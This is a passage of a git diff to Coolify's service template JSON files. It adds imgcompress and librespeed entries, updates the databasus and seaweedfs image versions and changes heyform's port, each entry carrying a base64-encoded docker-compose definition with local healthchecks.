9QQVNTV09SRF9LRVlEQn0nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", "tags": [ "form", "builder", @@ -1965,7 +1965,7 @@ "category": "productivity", "logo": "svgs/heyform.svg", "minversion": "0.0.0", - "port": "8000" + "port": "9157" }, "homarr": { "documentation": "https://homarr.dev?utm_source=coolify.io", @@ -2041,6 +2041,21 @@ "minversion": "0.0.0", "port": "80" }, + "imgcompress": { + "documentation": "https://imgcompress.karimzouine.com?utm_source=coolify.io", + "slogan": "Offline image compression, conversion, and AI background removal for Docker homelabs.", + "compose": "c2VydmljZXM6CiAgaW1nY29tcHJlc3M6CiAgICBpbWFnZTogJ2thcmltejEvaW1nY29tcHJlc3M6MC42LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9JTUdDT01QUkVTU181MDAwCiAgICAgIC0gJ0RJU0FCTEVfTE9HTz0ke0RJU0FCTEVfTE9HTzotZmFsc2V9JwogICAgICAtICdESVNBQkxFX1NUT1JBR0VfTUFOQUdFTUVOVD0ke0RJU0FCTEVfU1RPUkFHRV9NQU5BR0VNRU5UOi1mYWxzZX0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NTAwMCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwo=", + "tags": [ + "compress", + "photo", + "server", + "metadata" + ], + "category": "media", + "logo": "svgs/imgcompress.png", + "minversion": "0.0.0", + "port": "5000" + }, "immich": { "documentation": "https://immich.app/docs/overview/introduction?utm_source=coolify.io", "slogan": "Self-hosted photo and video management solution.", @@ -2417,6 +2432,19 @@ "minversion": "0.0.0", "port": "3000" }, + "librespeed": { + "documentation": "https://github.com/librespeed/speedtest?utm_source=coolify.io", + "slogan": "Self-hosted lightweight Speed Test.", + "compose": "c2VydmljZXM6CiAgbGlicmVzcGVlZDoKICAgIGNvbnRhaW5lcl9uYW1lOiBsaWJyZXNwZWVkCiAgICBpbWFnZTogJ2doY3IuaW8vbGlicmVzcGVlZC9zcGVlZHRlc3Q6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTElCUkVTUEVFRF84MgogICAgICAtIE1PREU9c3RhbmRhbG9uZQogICAgICAtIFRFTEVNRVRSWT1mYWxzZQogICAgICAtIERJU1RBTkNFPWttCiAgICAgIC0gV0VCUE9SVD04MgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdjdXJsIDEyNy4wLjAuMTo4MiB8fCBleGl0IDEnCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIGludGVydmFsOiAxbTBzCiAgICAgIHJldHJpZXM6IDEK", + "tags": [ + "speedtest", + "internet-speed" + ], + "category": "devtools", + "logo": "svgs/librespeed.png", + "minversion": "0.0.0", + "port": "82" + }, "libretranslate": { "documentation": "https://libretranslate.com/docs/?utm_source=coolify.io", "slogan": "Free and open-source machine translation API, entirely self-hosted.", @@ -4099,7 +4127,7 @@ "seaweedfs": { "documentation": "https://github.com/seaweedfs/seaweedfs?utm_source=coolify.io", "slogan": "SeaweedFS is a simple and highly scalable distributed file system. Compatible with S3, with an admin web interface.", - "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfUzNfODMzMwogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke1NFUlZJQ0VfVVNFUl9TM30nCiAgICAgIC0gJ0FXU19TRUNSRVRfQUNDRVNTX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfUzN9JwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLXMzLWRhdGE6L2RhdGEnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2Jhc2UtY29uZmlnLmpzb24KICAgICAgICB0YXJnZXQ6IC9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgY29udGVudDogIntcbiAgXCJpZGVudGl0aWVzXCI6IFtcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhbm9ueW1vdXNcIixcbiAgICAgIFwiYWN0aW9uc1wiOiBbXG4gICAgICAgIFwiUmVhZFwiXG4gICAgICBdXG4gICAgfSxcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhZG1pblwiLFxuICAgICAgXCJjcmVkZW50aWFsc1wiOiBbXG4gICAgICAgIHtcbiAgICAgICAgICBcImFjY2Vzc0tleVwiOiBcImVudjpBV1NfQUNDRVNTX0tFWV9JRFwiLFxuICAgICAgICAgIFwic2VjcmV0S2V5XCI6IFwiZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWVwiXG4gICAgICAgIH1cbiAgICAgIF0sXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIkFkbWluXCIsXG4gICAgICAgIFwiUmVhZFwiLFxuICAgICAgICBcIlJlYWRBY3BcIixcbiAgICAgICAgXCJMaXN0XCIsXG4gICAgICAgIFwiVGFnZ2luZ1wiLFxuICAgICAgICBcIldyaXRlXCIsXG4gICAgICAgIFwiV3JpdGVBY3BcIlxuICAgICAgXVxuICAgIH1cbiAgXVxufVxuIgogICAgZW50cnlwb2ludDogInNoIC1jICdcXFxuc2VkIFwicy9lbnY6QVdTX0FDQ0VTU19LRVlfSUQvJEFXU19BQ0NFU1NfS0VZX0lEL2dcIiAvYmFzZS1jb25maWcuanNvbiA+IC9iYXNlMS1jb25maWcuanNvbjsgXFxcbnNlZCBcInMvZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWS8kQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZL2dcIiAvYmFzZTEtY29uZmlnLmpzb24gPiAvY29uZmlnLmpzb247IFxcXG53ZWVkIHNlcnZlciAtZGlyPS9kYXRhIC1tYXN0ZXIucG9ydD05MzMzIC1zMyAtczMucG9ydD04MzMzIC1zMy5jb25maWc9L2NvbmZpZy5qc29uXFxcbidcbiIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDo4MzMzOyBbICQkPyAtbGUgOCBdJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgc2Vhd2VlZGZzLWFkbWluOgogICAgaW1hZ2U6ICdjaHJpc2x1c2Yvc2Vhd2VlZGZzOjQuMDUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9BRE1JTl8yMzY0NgogICAgICAtICdTRUFXRUVEX1VTRVJfQURNSU49JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdTRUFXRUVEX1BBU1NXT1JEX0FETUlOPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICBjb21tYW5kOgogICAgICAtIGFkbWluCiAgICAgIC0gJy1tYXN0ZXI9c2Vhd2VlZGZzLW1hc3Rlcjo5MzMzJwogICAgICAtICctYWRtaW5Vc2VyPSR7U0VBV0VFRF9VU0VSX0FETUlOfScKICAgICAgLSAnLWFkbWluUGFzc3dvcmQ9JHtTRUFXRUVEX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnLXBvcnQ9MjM2NDYnCiAgICAgIC0gJy1kYXRhRGlyPS9kYXRhJwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLWFkbWluLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6MjM2NDY7IFsgJCQ/IC1sZSA4IF0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHNlYXdlZWRmcy1tYXN0ZXI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkK", + "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfUzNfODMzMwogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke1NFUlZJQ0VfVVNFUl9TM30nCiAgICAgIC0gJ0FXU19TRUNSRVRfQUNDRVNTX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfUzN9JwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLXMzLWRhdGE6L2RhdGEnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2Jhc2UtY29uZmlnLmpzb24KICAgICAgICB0YXJnZXQ6IC9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgY29udGVudDogIntcbiAgXCJpZGVudGl0aWVzXCI6IFtcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhbm9ueW1vdXNcIixcbiAgICAgIFwiYWN0aW9uc1wiOiBbXG4gICAgICAgIFwiUmVhZFwiXG4gICAgICBdXG4gICAgfSxcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhZG1pblwiLFxuICAgICAgXCJjcmVkZW50aWFsc1wiOiBbXG4gICAgICAgIHtcbiAgICAgICAgICBcImFjY2Vzc0tleVwiOiBcImVudjpBV1NfQUNDRVNTX0tFWV9JRFwiLFxuICAgICAgICAgIFwic2VjcmV0S2V5XCI6IFwiZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWVwiXG4gICAgICAgIH1cbiAgICAgIF0sXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIkFkbWluXCIsXG4gICAgICAgIFwiUmVhZFwiLFxuICAgICAgICBcIlJlYWRBY3BcIixcbiAgICAgICAgXCJMaXN0XCIsXG4gICAgICAgIFwiVGFnZ2luZ1wiLFxuICAgICAgICBcIldyaXRlXCIsXG4gICAgICAgIFwiV3JpdGVBY3BcIlxuICAgICAgXVxuICAgIH1cbiAgXVxufVxuIgogICAgZW50cnlwb2ludDogInNoIC1jICdcXFxuc2VkIFwicy9lbnY6QVdTX0FDQ0VTU19LRVlfSUQvJEFXU19BQ0NFU1NfS0VZX0lEL2dcIiAvYmFzZS1jb25maWcuanNvbiA+IC9iYXNlMS1jb25maWcuanNvbjsgXFxcbnNlZCBcInMvZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWS8kQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZL2dcIiAvYmFzZTEtY29uZmlnLmpzb24gPiAvY29uZmlnLmpzb247IFxcXG53ZWVkIHNlcnZlciAtZGlyPS9kYXRhIC1tYXN0ZXIucG9ydD05MzMzIC1zMyAtczMucG9ydD04MzMzIC1zMy5jb25maWc9L2NvbmZpZy5qc29uXFxcbidcbiIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDo4MzMzOyBbICQkPyAtbGUgOCBdJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgc2Vhd2VlZGZzLWFkbWluOgogICAgaW1hZ2U6ICdjaHJpc2x1c2Yvc2Vhd2VlZGZzOjQuMTMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9BRE1JTl8yMzY0NgogICAgICAtICdTRUFXRUVEX1VTRVJfQURNSU49JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdTRUFXRUVEX1BBU1NXT1JEX0FETUlOPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICBjb21tYW5kOgogICAgICAtIGFkbWluCiAgICAgIC0gJy1tYXN0ZXI9c2Vhd2VlZGZzLW1hc3Rlcjo5MzMzJwogICAgICAtICctYWRtaW5Vc2VyPSR7U0VBV0VFRF9VU0VSX0FETUlOfScKICAgICAgLSAnLWFkbWluUGFzc3dvcmQ9JHtTRUFXRUVEX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnLXBvcnQ9MjM2NDYnCiAgICAgIC0gJy1kYXRhRGlyPS9kYXRhJwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLWFkbWluLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6MjM2NDY7IFsgJCQ/IC1sZSA4IF0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHNlYXdlZWRmcy1tYXN0ZXI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkK", "tags": [ "object", "storage", diff --git a/templates/service-templates.json b/templates/service-templates.json index 49f1f126f..22d0d6d8c 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -818,7 +818,7 @@ "databasus": { "documentation": "https://databasus.com/installation?utm_source=coolify.io", "slogan": "Databasus is a free, open source and self-hosted tool to backup PostgreSQL, MySQL, and MongoDB.", - "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYyLjE4LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fREFUQUJBU1VTXzQwMDUKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RhdGFiYXN1cy1kYXRhOi9kYXRhYmFzdXMtZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjQwMDUvYXBpL3YxL3N5c3RlbS9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQo=", + "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYzLjE2LjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fREFUQUJBU1VTXzQwMDUKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RhdGFiYXN1cy1kYXRhOi9kYXRhYmFzdXMtZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjQwMDUvYXBpL3YxL3N5c3RlbS9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQo=", "tags": [ "postgres", "mysql", @@ -1951,7 +1951,7 @@ "heyform": { "documentation": "https://docs.heyform.net/open-source/self-hosting?utm_source=coolify.io", "slogan": "Allows anyone to create engaging conversational forms for surveys, questionnaires, quizzes, and polls. No coding skills required.", - "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0hFWUZPUk1fODAwMAogICAgICAtICdBUFBfSE9NRVBBR0VfVVJMPSR7U0VSVklDRV9GUUROX0hFWUZPUk19JwogICAgICAtICdTRVNTSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NFU1NJT059JwogICAgICAtICdGT1JNX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfNjRfRk9STX0nCiAgICAgIC0gJ01PTkdPX1VSST1tb25nb2RiOi8vbW9uZ286MjcwMTcvaGV5Zm9ybScKICAgICAgLSBSRURJU19IT1NUPWtleWRiCiAgICAgIC0gUkVESVNfUE9SVD02Mzc5CiAgICAgIC0gJ1JFRElTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjgwMDAgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwogIG1vbmdvOgogICAgaW1hZ2U6ICdwZXJjb25hL3BlcmNvbmEtc2VydmVyLW1vbmdvZGI6bGF0ZXN0JwogICAgdm9sdW1lczoKICAgICAgLSAnaGV5Zm9ybS1tb25nby1kYXRhOi9kYXRhL2RiJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJlY2hvICdvaycgPiAvZGV2L251bGwgMj4mMSIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBrZXlkYjoKICAgIGltYWdlOiAnZXFhbHBoYS9rZXlkYjpsYXRlc3QnCiAgICBjb21tYW5kOiAna2V5ZGItc2VydmVyIC0tYXBwZW5kb25seSB5ZXMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnS0VZREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0ta2V5ZGItZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSBrZXlkYi1jbGkKICAgICAgICAtICctLXBhc3MnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMK", + "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0hFWUZPUk1fOTE1NwogICAgICAtICdBUFBfSE9NRVBBR0VfVVJMPSR7U0VSVklDRV9GUUROX0hFWUZPUk19JwogICAgICAtICdTRVNTSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NFU1NJT059JwogICAgICAtICdGT1JNX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfNjRfRk9STX0nCiAgICAgIC0gJ01PTkdPX1VSST1tb25nb2RiOi8vbW9uZ286MjcwMTcvaGV5Zm9ybScKICAgICAgLSBSRURJU19IT1NUPWtleWRiCiAgICAgIC0gUkVESVNfUE9SVD02Mzc5CiAgICAgIC0gJ1JFRElTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjkxNTcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwogIG1vbmdvOgogICAgaW1hZ2U6ICdwZXJjb25hL3BlcmNvbmEtc2VydmVyLW1vbmdvZGI6bGF0ZXN0JwogICAgdm9sdW1lczoKICAgICAgLSAnaGV5Zm9ybS1tb25nby1kYXRhOi9kYXRhL2RiJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJlY2hvICdvaycgPiAvZGV2L251bGwgMj4mMSIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBrZXlkYjoKICAgIGltYWdlOiAnZXFhbHBoYS9rZXlkYjpsYXRlc3QnCiAgICBjb21tYW5kOiAna2V5ZGItc2VydmVyIC0tYXBwZW5kb25seSB5ZXMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnS0VZREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0ta2V5ZGItZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSBrZXlkYi1jbGkKICAgICAgICAtICctLXBhc3MnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMK", "tags": [ "form", "builder", @@ -1965,7 +1965,7 @@ "category": "productivity", "logo": "svgs/heyform.svg", "minversion": "0.0.0", - "port": "8000" + "port": "9157" }, "homarr": { "documentation": "https://homarr.dev?utm_source=coolify.io", @@ -2041,6 +2041,21 @@ "minversion": "0.0.0", "port": "80" }, + "imgcompress": { + "documentation": "https://imgcompress.karimzouine.com?utm_source=coolify.io", + "slogan": "Offline image compression, conversion, and AI background removal for Docker homelabs.", + "compose": "c2VydmljZXM6CiAgaW1nY29tcHJlc3M6CiAgICBpbWFnZTogJ2thcmltejEvaW1nY29tcHJlc3M6MC42LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fSU1HQ09NUFJFU1NfNTAwMAogICAgICAtICdESVNBQkxFX0xPR089JHtESVNBQkxFX0xPR086LWZhbHNlfScKICAgICAgLSAnRElTQUJMRV9TVE9SQUdFX01BTkFHRU1FTlQ9JHtESVNBQkxFX1NUT1JBR0VfTUFOQUdFTUVOVDotZmFsc2V9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjUwMDAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMK", + "tags": [ + "compress", + "photo", + "server", + "metadata" + ], + "category": "media", + "logo": "svgs/imgcompress.png", + "minversion": "0.0.0", + "port": "5000" + }, "immich": { "documentation": "https://immich.app/docs/overview/introduction?utm_source=coolify.io", "slogan": "Self-hosted photo and video management solution.", @@ -2417,6 +2432,19 @@ "minversion": "0.0.0", "port": "3000" }, + "librespeed": { + "documentation": "https://github.com/librespeed/speedtest?utm_source=coolify.io", + "slogan": "Self-hosted lightweight Speed Test.", + "compose": "c2VydmljZXM6CiAgbGlicmVzcGVlZDoKICAgIGNvbnRhaW5lcl9uYW1lOiBsaWJyZXNwZWVkCiAgICBpbWFnZTogJ2doY3IuaW8vbGlicmVzcGVlZC9zcGVlZHRlc3Q6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0xJQlJFU1BFRURfODIKICAgICAgLSBNT0RFPXN0YW5kYWxvbmUKICAgICAgLSBURUxFTUVUUlk9ZmFsc2UKICAgICAgLSBESVNUQU5DRT1rbQogICAgICAtIFdFQlBPUlQ9ODIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnY3VybCAxMjcuMC4wLjE6ODIgfHwgZXhpdCAxJwogICAgICB0aW1lb3V0OiAxcwogICAgICBpbnRlcnZhbDogMW0wcwogICAgICByZXRyaWVzOiAxCg==", + "tags": [ + "speedtest", + "internet-speed" + ], + "category": "devtools", + "logo": "svgs/librespeed.png", + "minversion": "0.0.0", + "port": "82" + }, "libretranslate": { "documentation": "https://libretranslate.com/docs/?utm_source=coolify.io", "slogan": "Free and open-source machine translation API, entirely self-hosted.", @@ -4099,7 +4127,7 @@ "seaweedfs": { "documentation": "https://github.com/seaweedfs/seaweedfs?utm_source=coolify.io", "slogan": "SeaweedFS is a simple and highly scalable distributed file system. Compatible with S3, with an admin web interface.", - "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1MzXzgzMzMKICAgICAgLSAnQVdTX0FDQ0VTU19LRVlfSUQ9JHtTRVJWSUNFX1VTRVJfUzN9JwogICAgICAtICdBV1NfU0VDUkVUX0FDQ0VTU19LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1MzfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3NlYXdlZWRmcy1zMy1kYXRhOi9kYXRhJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgdGFyZ2V0OiAvYmFzZS1jb25maWcuanNvbgogICAgICAgIGNvbnRlbnQ6ICJ7XG4gIFwiaWRlbnRpdGllc1wiOiBbXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYW5vbnltb3VzXCIsXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIlJlYWRcIlxuICAgICAgXVxuICAgIH0sXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYWRtaW5cIixcbiAgICAgIFwiY3JlZGVudGlhbHNcIjogW1xuICAgICAgICB7XG4gICAgICAgICAgXCJhY2Nlc3NLZXlcIjogXCJlbnY6QVdTX0FDQ0VTU19LRVlfSURcIixcbiAgICAgICAgICBcInNlY3JldEtleVwiOiBcImVudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVlcIlxuICAgICAgICB9XG4gICAgICBdLFxuICAgICAgXCJhY3Rpb25zXCI6IFtcbiAgICAgICAgXCJBZG1pblwiLFxuICAgICAgICBcIlJlYWRcIixcbiAgICAgICAgXCJSZWFkQWNwXCIsXG4gICAgICAgIFwiTGlzdFwiLFxuICAgICAgICBcIlRhZ2dpbmdcIixcbiAgICAgICAgXCJXcml0ZVwiLFxuICAgICAgICBcIldyaXRlQWNwXCJcbiAgICAgIF1cbiAgICB9XG4gIF1cbn1cbiIKICAgIGVudHJ5cG9pbnQ6ICJzaCAtYyAnXFxcbnNlZCBcInMvZW52OkFXU19BQ0NFU1NfS0VZX0lELyRBV1NfQUNDRVNTX0tFWV9JRC9nXCIgL2Jhc2UtY29uZmlnLmpzb24gPiAvYmFzZTEtY29uZmlnLmpzb247IFxcXG5zZWQgXCJzL2VudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVkvJEFXU19TRUNSRVRfQUNDRVNTX0tFWS9nXCIgL2Jhc2UxLWNvbmZpZy5qc29uID4gL2NvbmZpZy5qc29uOyBcXFxud2VlZCBzZXJ2ZXIgLWRpcj0vZGF0YSAtbWFzdGVyLnBvcnQ9OTMzMyAtczMgLXMzLnBvcnQ9ODMzMyAtczMuY29uZmlnPS9jb25maWcuanNvblxcXG4nXG4iCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzA